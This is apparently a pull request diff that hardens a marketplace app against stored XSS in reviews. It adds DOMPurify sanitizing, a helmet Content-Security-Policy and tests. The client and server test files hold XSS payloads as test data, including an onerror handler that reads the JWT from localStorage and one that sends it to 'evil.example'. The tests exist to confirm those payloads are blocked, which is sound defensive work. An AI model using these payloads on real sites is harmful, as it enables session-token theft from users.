Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
name: CI

on:
push:
pull_request:
workflow_dispatch:

permissions:
contents: read

jobs:
build-and-test:
runs-on: ubuntu-latest
steps:
- name: Check out repository
uses: actions/checkout@v4

- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: 20
cache: npm

- name: Install dependencies
env:
MONGOMS_DISABLE_POSTINSTALL: "1"
run: npm ci

- name: Run tests
run: npm test -- --runInBand --passWithNoTests

- name: Build client
run: npm run build --workspace client
7 changes: 7 additions & 0 deletions babel.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
// Lets jest load the project's ESM + JSX source through babel-jest.
module.exports = {
presets: [
['@babel/preset-env', { targets: { node: 'current' } }],
['@babel/preset-react', { runtime: 'automatic' }]
]
};
1 change: 1 addition & 0 deletions client/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
},
"dependencies": {
"axios": "^1.7.4",
"dompurify": "^3.4.17",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"react-router-dom": "^6.26.2"
Expand Down
22 changes: 17 additions & 5 deletions client/src/lib/sanitize.js
Original file line number Diff line number Diff line change
@@ -1,8 +1,20 @@
import DOMPurify from 'dompurify';

// Reviews are rendered as HTML so people can use light formatting (bold, links).
// This helper is the single place review HTML passes through before it is handed
// to React's dangerouslySetInnerHTML.
//
// TODO (security): right now this returns the HTML untouched, so whatever a
// reviewer typed — including <script> and onerror handlers — is injected into
// every viewer's page. Make this strip dangerous markup before it is rendered.
export const sanitizeHtml = (dirty) => dirty;

// Only the formatting the reviews feature needs. Everything else is removed.
const ALLOWED_TAGS = ['b', 'strong', 'i', 'em', 'u', 'br', 'p', 'ul', 'ol', 'li', 'a'];
const ALLOWED_ATTR = ['href'];

// Links open in a new tab and cannot reach back into the page that opened them.
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'A') {
node.setAttribute('target', '_blank');
node.setAttribute('rel', 'noopener noreferrer');
}
});

export const sanitizeHtml = (dirty) =>
DOMPurify.sanitize(String(dirty ?? ''), { ALLOWED_TAGS, ALLOWED_ATTR });
3 changes: 2 additions & 1 deletion client/vite.config.js
Original file line number Diff line number Diff line change
Expand Up @@ -6,4 +6,5 @@ export default defineConfig({
server: {
port: 5175
}
})
}
)
28 changes: 28 additions & 0 deletions jest.config.cjs
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
// One jest run with two environments:
// - "client" tests run in jsdom (they render React components)
// - "server" tests run in node (they boot the Express app + in-memory Mongo)
// `npm test` runs both.
module.exports = {
projects: [
{
displayName: 'client',
testEnvironment: 'jsdom',
testMatch: ['<rootDir>/tests/client/**/*.test.{js,jsx}'],
setupFilesAfterEnv: ['<rootDir>/tests/setup/jest.setup.js'],
moduleNameMapper: {
'\\.(css|less|scss|sass)$': 'identity-obj-proxy'
},
transform: {
'^.+\\.(js|jsx)$': 'babel-jest'
}
},
{
displayName: 'server',
testEnvironment: 'node',
testMatch: ['<rootDir>/tests/server/**/*.test.js'],
transform: {
'^.+\\.js$': 'babel-jest'
}
}
]
};
30 changes: 30 additions & 0 deletions package-lock.json

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 1 addition & 0 deletions server/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@
"cors": "^2.8.5",
"dotenv": "^16.4.5",
"express": "^4.19.2",
"helmet": "^8.3.0",
"joi": "^17.12.3",
"jsonwebtoken": "^9.0.2",
"mongoose": "^8.6.0",
Expand Down
16 changes: 15 additions & 1 deletion server/src/app.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import express from 'express';
import morgan from 'morgan';
import cors from 'cors';
import helmet from 'helmet'; // 1. Import helmet
import authRoutes from './routes/auth.js';
import listingRoutes from './routes/listings.js';
import userRoutes from './routes/users.js';
Expand All @@ -10,6 +11,19 @@ const app = express();

app.use(morgan('dev'));
app.use(cors({ origin: 'http://localhost:5175', credentials: false }));

// 2. Configure Helmet with a custom Content-Security-Policy
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"], // Allow standard inline styling if needed for formatting
imgSrc: ["'self'", "data:", "blob:"],
},
})
);

app.use(express.json());

app.get('/api/health', (req, res) => res.json({ ok: true }));
Expand All @@ -30,4 +44,4 @@ app.use((err, req, res, next) => {
res.status(err.status || 500).json({ message: err.message || 'Server Error' });
});

export default app;
export default app;
45 changes: 45 additions & 0 deletions tests/client/reviewList.test.jsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
import { render } from '@testing-library/react';
import ReviewList from '../../client/src/components/ReviewList';

// A review body a malicious user could submit: it tries to run script that
// reads the JWT out of localStorage (the app stores the token there).
const XSS_BODY =
'Nice item! ' +
'<img src=x onerror="window.__xssToken = localStorage.getItem(\'token\')">' +
'<script>window.__xssRan = true</script>' +
'<a href="javascript:alert(1)">click me</a>';

function renderReview(body) {
const reviews = [{ _id: 'r1', rating: 5, author: { name: 'attacker' }, body }];
return render(<ReviewList reviews={reviews} />);
}

describe('ReviewList renders review HTML safely', () => {
test('does not render any <script> element from the review body', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('script')).toBeNull();
});

test('strips inline event-handler attributes such as onerror', () => {
const { container } = renderReview(XSS_BODY);
expect(container.querySelector('[onerror]')).toBeNull();
expect(container.querySelector('[onload]')).toBeNull();
expect(container.querySelector('[onclick]')).toBeNull();

const img = container.querySelector('img');
if (img) expect(img.getAttribute('onerror')).toBeNull();
});

test('does not keep javascript: URLs on links', () => {
const { container } = renderReview(XSS_BODY);
const link = container.querySelector('a');
if (link) {
expect((link.getAttribute('href') || '').toLowerCase()).not.toMatch(/^javascript:/);
}
});

test('still renders the benign review text', () => {
const { container } = renderReview(XSS_BODY);
expect(container.textContent).toContain('Nice item!');
});
});
67 changes: 67 additions & 0 deletions tests/server/csp.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
import request from 'supertest';
import mongoose from 'mongoose';
import { MongoMemoryServer } from 'mongodb-memory-server';
import app from '../../server/src/app.js';

let mongo;

beforeAll(async () => {
process.env.JWT_SECRET = 'test-secret';
process.env.JWT_EXPIRES_IN = '1h';
mongo = await MongoMemoryServer.create();
await mongoose.connect(mongo.getUri());
}, 60000);

afterAll(async () => {
await mongoose.disconnect();
if (mongo) await mongo.stop();
});

async function registerAndGetToken() {
const res = await request(app)
.post('/api/auth/register')
.send({ name: 'Reviewer', email: `r${Date.now()}@test.dev`, password: 'secret123' });
return res.body.token;
}

describe('Reviews API', () => {
test('a logged-in user can create a review and it can be read back', async () => {
const token = await registerAndGetToken();

const listingRes = await request(app)
.post('/api/listings')
.set('Authorization', `Bearer ${token}`)
.send({ title: 'Used bike', price: 50, category: 'other', condition: 'used' });
expect(listingRes.status).toBe(201);
const listingId = listingRes.body.listing._id;

const payload =
'Great seller! <img src=x onerror="fetch(\'//evil.example/?t=\' + localStorage.getItem(\'token\'))">';
const createRes = await request(app)
.post('/api/reviews')
.set('Authorization', `Bearer ${token}`)
.send({ listing: listingId, rating: 5, body: payload });
expect(createRes.status).toBe(201);

const listRes = await request(app).get('/api/reviews').query({ listing: listingId });
expect(listRes.status).toBe(200);
expect(listRes.body.reviews).toHaveLength(1);
});
});

describe('Content-Security-Policy header', () => {
test('responses send a CSP header', async () => {
const res = await request(app).get('/api/health');
expect(res.headers['content-security-policy']).toBeDefined();
});

test('the CSP restricts scripts to the same origin and blocks inline script', async () => {
const res = await request(app).get('/api/health');
const csp = res.headers['content-security-policy'] || '';

// script-src is present and allows only 'self'
expect(csp).toMatch(/script-src[^;]*'self'/);
// and it must NOT permit inline script (which is how injected XSS runs)
expect(csp).not.toMatch(/script-src[^;]*'unsafe-inline'/);
});
});
2 changes: 2 additions & 0 deletions tests/setup/jest.setup.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
// Adds jest-dom matchers (toBeInTheDocument, etc.) to the client test environment.
require('@testing-library/jest-dom');